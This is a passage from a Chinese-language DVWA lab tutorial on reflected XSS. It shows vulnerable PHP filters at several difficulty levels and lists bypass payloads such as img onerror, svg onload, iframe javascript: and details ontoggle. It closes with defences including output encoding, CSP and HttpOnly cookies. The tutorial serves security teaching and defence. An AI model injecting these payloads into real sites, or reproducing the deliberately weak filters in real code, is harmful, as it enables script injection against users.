class="name">script</span>&gt;</span></span><br><span class="line">3. 结果：绕过成功！</span><br></pre></td></tr></table></figure><h4 id="方法4：事件处理器"><a href="#方法4：事件处理器" class="headerlink" title="方法4：事件处理器"></a>方法4：事件处理器</h4><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">&lt;!-- onclick --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">div</span> <span class="attr">onclick</span>=<span class="string">alert(</span>&#x27;<span class="attr">XSS</span>&#x27;)&gt;</span>Click me<span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- onmouseover --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">div</span> <span class="attr">onmouseover</span>=<span class="string">alert(</span>&#x27;<span class="attr">XSS</span>&#x27;)&gt;</span>Hover me<span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- onerror --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">img</span> <span class="attr">src</span>=<span class="string">x</span> <span class="attr">onerror</span>=<span class="string">alert(</span>&#x27;<span class="attr">XSS</span>&#x27;)&gt;</span></span><br></pre></td></tr></table></figure><hr><h2 id="High-难度"><a href="#High-难度" class="headerlink" title="High 难度"></a>High 难度</h2><h3 id="攻击目标-2"><a href="#攻击目标-2" class="headerlink" title="攻击目标"></a>攻击目标</h3><p>使用正则表达式过滤，但仍可绕过。</p><h3 id="后端代码分析-2"><a href="#后端代码分析-2" class="headerlink" title="后端代码分析"></a>后端代码分析</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="title function_ invoke__">header</span> (<span class="string">&quot;Content-Type: text/html;charset=utf-8&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>( <span class="keyword">isset</span>( <span class="variable">$_GET</span>[ <span class="string">&#x27;name&#x27;</span> ] ) ) &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 新增：使用preg_replace()正则表达式过滤 ★★★</span></span><br><span class="line">    <span class="comment">// preg_replace() - 执行正则表达式的搜索和替换</span></span><br><span class="line">    <span class="comment">// 参数1：正则表达式模式</span></span><br><span class="line">    <span class="comment">// 参数2：替换成的字符串</span></span><br><span class="line">    <span class="comment">// 参数3：被搜索的字符串</span></span><br><span class="line">    <span class="comment">// 返回值：替换后的字符串</span></span><br><span class="line">    <span class="comment">//</span></span><br><span class="line">    <span class="comment">// 正则模式：&#x27;/&lt;(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i&#x27;</span></span><br><span class="line">    <span class="comment">// &lt; - 匹配小于号</span></span><br><span class="line">    <span class="comment">// (.*) - 匹配任意字符（贪婪模式）</span></span><br><span class="line">    <span class="comment">// s, c, r, i, p, t - 分别匹配这些字符</span></span><br><span class="line">    <span class="comment">// /i - 不区分大小写标志</span></span><br><span class="line">    <span class="comment">//</span></span><br><span class="line">    <span class="comment">// 目的：过滤包含&lt;...s...c...r...i...p...t的内容</span></span><br><span class="line">    <span class="comment">// 例如：&lt;script&gt;, &lt;scri pt&gt;, &lt;s c r i p t&gt;</span></span><br><span class="line">    <span class="comment">//</span></span><br><span class="line">    <span class="comment">// 问题：只过滤&lt;script&gt;相关，不过滤其他标签！</span></span><br><span class="line">    <span class="variable">$name</span> = <span class="title function_ invoke__">preg_replace</span>( <span class="string">&#x27;/&lt;(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i&#x27;</span>, <span class="string">&#x27;&#x27;</span>, <span class="variable">$_GET</span>[ <span class="string">&#x27;name&#x27;</span> ] );</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 输出</span></span><br><span class="line">    <span class="variable">$html</span> .= <span class="string">&quot;&lt;pre&gt;Hello <span class="subst">&#123;$name&#125;</span>&lt;/pre&gt;&quot;</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><h3 id="新增防护-1"><a href="#新增防护-1" class="headerlink" title="新增防护"></a>新增防护</h3><ol><li><strong>正则表达式过滤</strong> - 过滤各种形式的<code>&lt;script&gt;</code></li><li><strong>不区分大小写</strong> - <code>/i</code>标志</li><li><strong>匹配变形</strong> - 过滤<code>&lt;s...c...r...i...p...t</code></li></ol><h3 id="仍存在的漏洞-1"><a href="#仍存在的漏洞-1" class="headerlink" title="仍存在的漏洞"></a>仍存在的漏洞</h3><p><strong>核心问题：</strong></p><p>仍然只过滤<code>&lt;script&gt;</code>标签，其他HTML标签和事件处理器完全可用！</p><h3 id="绕过方法-1"><a href="#绕过方法-1" class="headerlink" title="绕过方法"></a>绕过方法</h3><h4 id="方法1：使用img标签"><a href="#方法1：使用img标签" class="headerlink" title="方法1：使用img标签"></a>方法1：使用img标签</h4><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">img</span> <span class="attr">src</span>=<span class="string">x</span> <span class="attr">onerror</span>=<span class="string">alert(</span>&#x27;<span class="attr">XSS</span>&#x27;)&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- 无论大小写都可以 --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">IMG</span> <span class="attr">SRC</span>=<span class="string">x</span> <span class="attr">ONERROR</span>=<span class="string">alert(</span>&#x27;<span class="attr">XSS</span>&#x27;)&gt;</span></span><br></pre></td></tr></table></figure><h4 id="方法2：使用svg标签"><a href="#方法2：使用svg标签" class="headerlink" title="方法2：使用svg标签"></a>方法2：使用svg标签</h4><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">svg</span> <span class="attr">onload</span>=<span class="string">alert(</span>&#x27;<span class="attr">XSS</span>&#x27;)&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- 或 --&gt;</span></span><br><span class="line">&lt;svg/onload=alert(&#x27;XSS&#x27;)&gt;</span><br></pre></td></tr></table></figure><h4 id="方法3：使用body标签"><a href="#方法3：使用body标签" class="headerlink" title="方法3：使用body标签"></a>方法3：使用body标签</h4><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">body</span> <span class="attr">onload</span>=<span class="string">alert(</span>&#x27;<span class="attr">XSS</span>&#x27;)&gt;</span></span><br></pre></td></tr></table></figure><h4 id="方法4：使用iframe"><a href="#方法4：使用iframe" class="headerlink" title="方法4：使用iframe"></a>方法4：使用iframe</h4><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">iframe</span> <span class="attr">src</span>=<span class="string">&quot;javascript:alert(&#x27;XSS&#x27;)&quot;</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- 或data URI --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">iframe</span> <span class="attr">src</span>=<span class="string">&quot;data:text/html,&lt;script&gt;alert(&#x27;XSS&#x27;)&lt;/script&gt;&quot;</span>&gt;</span></span><br></pre></td></tr></table></figure><h4 id="方法5：使用input"><a href="#方法5：使用input" class="headerlink" title="方法5：使用input"></a>方法5：使用input</h4><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">input</span> <span class="attr">onfocus</span>=<span class="string">alert(</span>&#x27;<span class="attr">XSS</span>&#x27;) <span class="attr">autofocus</span>&gt;</span></span><br></pre></td></tr></table></figure><h4 id="方法6：HTML5新标签"><a href="#方法6：HTML5新标签" class="headerlink" title="方法6：HTML5新标签"></a>方法6：HTML5新标签</h4><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">&lt;!-- details --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">details</span> <span class="attr">open</span> <span class="attr">ontoggle</span>=<span class="string">alert(</span>&#x27;<span class="attr">XSS</span>&#x27;)&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- marquee --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">marquee</span> <span class="attr">onstart</span>=<span class="string">alert(</span>&#x27;<span class="attr">XSS</span>&#x27;)&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- video --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">video</span> <span class="attr">src</span>=<span class="string">x</span> <span class="attr">onerror</span>=<span class="string">alert(</span>&#x27;<span class="attr">XSS</span>&#x27;)&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- audio --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">audio</span> <span class="attr">src</span>=<span class="string">x</span> <span class="attr">onerror</span>=<span class="string">alert(</span>&#x27;<span class="attr">XSS</span>&#x27;)&gt;</span></span><br></pre></td></tr></table></figure><hr><h2 id="Impossible-难度"><a href="#Impossible-难度" class="headerlink" title="Impossible 难度"></a>Impossible 难度</h2><h3 id="攻击目标-3"><a href="#攻击目标-3" class="headerlink" title="攻击目标"></a>攻击目标</h3><p>使用htmlspecialchars()正确编码，无法攻破。</p><h3 id="后端代码分析-3"><a href="#后端代码分析-3" class="headerlink" title="后端代码分析"></a>后端代码分析</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="title function_ invoke__">header</span> (<span class="string">&quot;Content-Type: text/html;charset=utf-8&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>( <span class="keyword">isset</span>( <span class="variable">$_GET</span>[ <span class="string">&#x27;name&#x27;</span> ] ) ) &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 核心防护：htmlspecialchars() ★★★</span></span><br><span class="line">    <span class="comment">// htmlspecialchars() - 将特殊字符转换为HTML实体</span></span><br><span class="line">    <span class="comment">// 参数1：要转换的字符串</span></span><br><span class="line">    <span class="comment">// 参数2：转换标志（可选）</span></span><br><span class="line">    <span class="comment">// 返回值：转换后的字符串</span></span><br><span class="line">    <span class="comment">//</span></span><br><span class="line">    <span class="comment">// 转换规则：</span></span><br><span class="line">    <span class="comment">// &amp; （和号）  → &amp;amp;</span></span><br><span class="line">    <span class="comment">// &quot; （双引号） → &amp;quot;（当ENT_NOQUOTES未设置时）</span></span><br><span class="line">    <span class="comment">// &#x27; （单引号） → &amp;#039;（当ENT_QUOTES设置时）</span></span><br><span class="line">    <span class="comment">// &lt; （小于号） → &amp;lt;</span></span><br><span class="line">    <span class="comment">// &gt; （大于号） → &amp;gt;</span></span><br><span class="line">    <span class="comment">//</span></span><br><span class="line">    <span class="comment">// 作用：将HTML特殊字符转换为实体，使其作为文本显示而不是代码执行</span></span><br><span class="line">    <span class="variable">$name</span> = <span class="title function_ invoke__">htmlspecialchars</span>( <span class="variable">$_GET</span>[ <span class="string">&#x27;name&#x27;</span> ] );</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 输出编码后的内容</span></span><br><span class="line">    <span class="variable">$html</span> .= <span class="string">&quot;&lt;pre&gt;Hello <span class="subst">&#123;$name&#125;</span>&lt;/pre&gt;&quot;</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><h3 id="完善的防护机制"><a href="#完善的防护机制" class="headerlink" title="完善的防护机制"></a>完善的防护机制</h3><p><strong>htmlspecialchars()工作原理：</strong></p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">&lt;!-- 输入 --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript"><span class="title function_">alert</span>(<span class="string">&#x27;XSS&#x27;</span>)</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- 处理后 --&gt;</span></span><br><span class="line"><span class="symbol">&amp;lt;</span>script<span class="symbol">&amp;gt;</span>alert(&#x27;XSS&#x27;)<span class="symbol">&amp;lt;</span>/script<span class="symbol">&amp;gt;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- 浏览器显示 --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript"><span class="title function_">alert</span>(<span class="string">&#x27;XSS&#x27;</span>)</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span>（作为文本显示）</span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- 不会执行 --&gt;</span></span><br><span class="line">因为&lt;和&gt;被转换为实体，浏览器不会将其解析为HTML标签</span><br></pre></td></tr></table></figure><p><strong>详细转换示例：</strong></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">输入：&lt;img src=x onerror=<span class="title function_ invoke__">alert</span>(<span class="string">&#x27;XSS&#x27;</span>)&gt;</span><br><span class="line">输出：&amp;lt;img src=x onerror=<span class="title function_ invoke__">alert</span>(<span class="string">&#x27;XSS&#x27;</span>)&amp;gt;</span><br><span class="line">显示：&lt;img src=x onerror=<span class="title function_ invoke__">alert</span>(<span class="string">&#x27;XSS&#x27;</span>)&gt;（纯文本）</span><br><span class="line"></span><br><span class="line">输入：&lt;svg onload=<span class="title function_ invoke__">alert</span>(<span class="string">&#x27;XSS&#x27;</span>)&gt;</span><br><span class="line">输出：&amp;lt;svg onload=<span class="title function_ invoke__">alert</span>(<span class="string">&#x27;XSS&#x27;</span>)&amp;gt;</span><br><span class="line">显示：&lt;svg onload=<span class="title function_ invoke__">alert</span>(<span class="string">&#x27;XSS&#x27;</span>)&gt;（纯文本）</span><br><span class="line"></span><br><span class="line">输入：<span class="string">&quot;&gt;&lt;script&gt;alert(&#x27;XSS&#x27;)&lt;/script&gt;</span></span><br><span class="line"><span class="string">输出：&amp;quot;&amp;gt;&amp;lt;script&amp;gt;alert(&#x27;XSS&#x27;)&amp;lt;/script&amp;gt;</span></span><br><span class="line"><span class="string">显示：&quot;</span>&amp;gt;&lt;script&gt;<span class="title function_ invoke__">alert</span>(<span class="string">&#x27;XSS&#x27;</span>)&lt;/script&gt;（纯文本）</span><br></pre></td></tr></table></figure><h3 id="为什么无法攻破？"><a href="#为什么无法攻破？" class="headerlink" title="为什么无法攻破？"></a>为什么无法攻破？</h3><p><strong>所有攻击都被转义：</strong></p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">尝试1：<span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript"><span class="title function_">alert</span>(<span class="string">&#x27;XSS&#x27;</span>)</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line">结果：<span class="symbol">&amp;lt;</span>script<span class="symbol">&amp;gt;</span>alert(&#x27;XSS&#x27;)<span class="symbol">&amp;lt;</span>/script<span class="symbol">&amp;gt;</span></span><br><span class="line">状态：失败（作为文本显示）</span><br><span class="line"></span><br><span class="line">尝试2：<span class="tag">&lt;<span class="name">img</span> <span class="attr">src</span>=<span class="string">x</span> <span class="attr">onerror</span>=<span class="string">alert(</span>&#x27;<span class="attr">XSS</span>&#x27;)&gt;</span></span><br><span class="line">结果：<span class="symbol">&amp;lt;</span>img src=x onerror=alert(&#x27;XSS&#x27;)<span class="symbol">&amp;gt;</span></span><br><span class="line">状态：失败（作为文本显示）</span><br><span class="line"></span><br><span class="line">尝试3：<span class="tag">&lt;<span class="name">svg</span> <span class="attr">onload</span>=<span class="string">alert(</span>&#x27;<span class="attr">XSS</span>&#x27;)&gt;</span></span><br><span class="line">结果：<span class="symbol">&amp;lt;</span>svg onload=alert(&#x27;XSS&#x27;)<span class="symbol">&amp;gt;</span></span><br><span class="line">状态：失败（作为文本显示）</span><br><span class="line"></span><br><span class="line">尝试4：&quot;&gt;<span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript"><span class="title function_">alert</span>(<span class="string">&#x27;XSS&#x27;</span>)</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line">结果：<span class="symbol">&amp;quot;</span><span class="symbol">&amp;gt;</span><span class="symbol">&amp;lt;</span>script<span class="symbol">&amp;gt;</span>alert(&#x27;XSS&#x27;)<span class="symbol">&amp;lt;</span>/script<span class="symbol">&amp;gt;</span></span><br><span class="line">状态：失败（引号也被转义）</span><br></pre></td></tr></table></figure><p><strong>关键防御点：</strong></p><ol><li><strong>所有HTML标签被转义</strong> - <code>&lt;&gt;</code>变为<code>&amp;lt;&amp;gt;</code></li><li><strong>引号被转义</strong> - 无法闭合属性</li><li><strong>转换为HTML实体</strong> - 浏览器将其视为文本</li><li><strong>适用于所有上下文</strong> - 标签、属性、内容都安全</li></ol><hr><h2 id="防御建议"><a href="#防御建议" class="headerlink" title="防御建议"></a>防御建议</h2><h3 id="代码层面"><a href="#代码层面" class="headerlink" title="代码层面"></a>代码层面</h3><h4 id="1-输出编码（最重要）"><a href="#1-输出编码（最重要）" class="headerlink" title="1. 输出编码（最重要）"></a>1. 输出编码（最重要）</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// ★★★ 推荐：使用htmlspecialchars() ★★★</span></span><br><span class="line"><span class="variable">$safe_output</span> = <span class="title function_ invoke__">htmlspecialchars</span>(<span class="variable">$user_input</span>, ENT_QUOTES, <span class="string">&#x27;UTF-8&#x27;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// ENT_QUOTES - 转换单引号和双引号</span></span><br><span class="line"><span class="comment">// UTF-8 - 指定字符编码</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">echo</span> <span class="string">&quot;&lt;div&gt;<span class="subst">$safe_output</span>&lt;/div&gt;&quot;</span>;</span><br></pre></td></tr></table></figure><h4 id="2-不同上下文使用不同编码"><a href="#2-不同上下文使用不同编码" class="headerlink" title="2. 不同上下文使用不同编码"></a>2. 不同上下文使用不同编码</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// HTML内容</span></span><br><span class="line"><span class="title function_ invoke__">htmlspecialchars</span>(<span class="variable">$input</span>, ENT_QUOTES, <span class="string">&#x27;UTF-8&#x27;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// HTML属性</span></span><br><span class="line"><span class="title function_ invoke__">htmlspecialchars</span>(<span class="variable">$input</span>, ENT_QUOTES, <span class="string">&#x27;UTF-8&#x27;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// JavaScript字符串</span></span><br><span class="line"><span class="comment">// 使用json_encode()</span></span><br><span class="line"><span class="keyword">echo</span> <span class="string">&quot;&lt;script&gt;var name = &quot;</span> . <span class="title function_ invoke__">json_encode</span>(<span class="variable">$input</span>) . <span class="string">&quot;;&lt;/script&gt;&quot;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// URL参数</span></span><br><span class="line"><span class="title function_ invoke__">urlencode</span>(<span class="variable">$input</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// CSS</span></span><br><span class="line"><span class="comment">// 避免用户输入直接进入CSS，或使用CSS编码库</span></span><br></pre></td></tr></table></figure><h4 id="3-内容安全策略（CSP）"><a href="#3-内容安全策略（CSP）" class="headerlink" title="3. 内容安全策略（CSP）"></a>3. 内容安全策略（CSP）</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 设置CSP头</span></span><br><span class="line"><span class="title function_ invoke__">header</span>(<span class="string">&quot;Content-Security-Policy: default-src &#x27;self&#x27;; script-src &#x27;self&#x27;; object-src &#x27;none&#x27;;&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 禁止内联脚本</span></span><br><span class="line"><span class="comment">// 只允许从同源加载脚本</span></span><br></pre></td></tr></table></figure><p><strong>CSP配置示例：</strong></p><figure class="highlight csharp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">Content-Security-Policy:</span><br><span class="line">  <span class="literal">default</span>-src <span class="string">&#x27;self&#x27;</span>;                    <span class="meta"># 默认只允许同源</span></span><br><span class="line">  script-src <span class="string">&#x27;self&#x27;</span> <span class="string">&#x27;nonce-&#123;random&#125;&#x27;</span>;   <span class="meta"># 脚本必须有nonce</span></span><br><span class="line">  style-src <span class="string">&#x27;self&#x27;</span> <span class="string">&#x27;unsafe-inline&#x27;</span>;      <span class="meta"># 允许内联样式</span></span><br><span class="line">  img-src *;                             <span class="meta"># 允许任何来源的图片</span></span><br><span class="line">  <span class="built_in">object</span>-src <span class="string">&#x27;none&#x27;</span>;                     <span class="meta"># 禁止&lt;object&gt;</span></span><br><span class="line">  <span class="keyword">base</span>-uri <span class="string">&#x27;self&#x27;</span>;                       <span class="meta"># 限制&lt;base&gt;</span></span><br></pre></td></tr></table></figure><h4 id="4-输入验证（辅助）"><a href="#4-输入验证（辅助）" class="headerlink" title="4. 输入验证（辅助）"></a>4. 输入验证（辅助）</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 白名单验证</span></span><br><span class="line"><span class="variable">$allowed</span> = <span class="string">&#x27;/^[a-zA-Z0-9 ]+$/&#x27;</span>;</span><br><span class="line"><span class="keyword">if</span> (!<span class="title function_ invoke__">preg_match</span>(<span class="variable">$allowed</span>, <span class="variable">$input</span>)) &#123;</span><br><span class="line">    <span class="keyword">die</span>(<span class="string">&quot;Invalid input&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 长度限制</span></span><br><span class="line"><span class="keyword">if</span> (<span class="title function_ invoke__">strlen</span>(<span class="variable">$input</span>) &gt; <span class="number">100</span>) &#123;</span><br><span class="line">    <span class="keyword">die</span>(<span class="string">&quot;Input too long&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="5-HttpOnly-Cookie"><a href="#5-HttpOnly-Cookie" class="headerlink" title="5. HttpOnly Cookie"></a>5. HttpOnly Cookie</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 防止JavaScript访问Cookie</span></span><br><span class="line"><span class="title function_ invoke__">setcookie</span>(<span class="string">&#x27;session&#x27;</span>, <span class="variable">$value</span>, [</span><br><span class="line">    <span class="string">&#x27;httponly&#x27;</span> =&gt; <span class="literal">true</span>,    // 防止XSS窃取Cookie</span><br><span class="line">    <span class="string">&#x27;secure&#x27;</span> =&gt; <span class="literal">true</span>,      // 只通过HTTPS传输</span><br><span class="line">    <span class="string">&#x27;samesite&#x27;</span> =&gt; <span class="string">&#x27;Strict&#x27;</span> // 防止CSRF</span><br><span class="line">]);</span><br></pre></td></tr></table></figure><h3 id="框架层面"><a href="#框架层面" class="headerlink" title="框架层面"></a>框架层面</h3><h4 id="Laravel示例"><a href="#Laravel示例" class="headerlink" title="Laravel示例"></a>Laravel示例</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// Blade模板自动转义</span></span><br><span class="line">&#123;&#123; <span class="variable">$user_input</span> &#125;&#125;  <span class="comment">// 自动使用htmlspecialchars()</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 不转义（危险！）</span></span><br><span class="line">&#123;!! <span class="variable">$html_content</span> !!&#125;  <span class="comment">// 仅用于可信内容</span></span><br></pre></td></tr></table></figure><h4 id="React示例"><a href="#React示例" class="headerlink" title="React示例"></a>React示例</h4><figure class="highlight jsx"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// React自动转义</span></span><br><span class="line">&lt;div&gt;&#123;userInput&#125;&lt;<span class="regexp">/div&gt;  /</span><span class="regexp">/ 安全</span></span><br><span class="line"><span class="regexp"></span></span><br><span class="line"><span class="regexp">/</span><span class="regexp">/ 危险方式（避免使用）</span></span><br><span class="line"><span class="regexp">&lt;div dangerouslySetInnerHTML=&#123;&#123;__html: userInput&#125;&#125; /</span>&gt;</span><br></pre></td></tr></table></figure><h3 id="架构层面"><a href="#架构层面" class="headerlink" title="架构层面"></a>架构层面</h3><ol><li><p><strong>使用模板引擎</strong></p><ul><li>Twig（PHP）</li><li>Jinja2（Python）</li><li>Handlebars（JavaScript）</li><li>自动转义输出</li></ul></li><li><p><strong>WAF（Web应用防火墙）</strong></p><ul><li>ModSecurity</li><li>Cloudflare WAF</li><li>AWS WAF</li></ul></li><li><p><strong>定期审计</strong></p><ul><li>代码审计</li><li>安全扫描工具</li><li>渗透测试</li></ul></li></ol><hr><h2 id="总结对比"><a href="#总结对比" class="headerlink" title="总结对比"></a>总结对比</h2><table><thead><tr><th>特性</th><th>Low</th><th>Medium</th><th>High</th><th>Impossible</th></tr></thead><tbody><tr><td>输出编码</td><td>❌</td><td>❌</td><td>❌</td><td>✅ 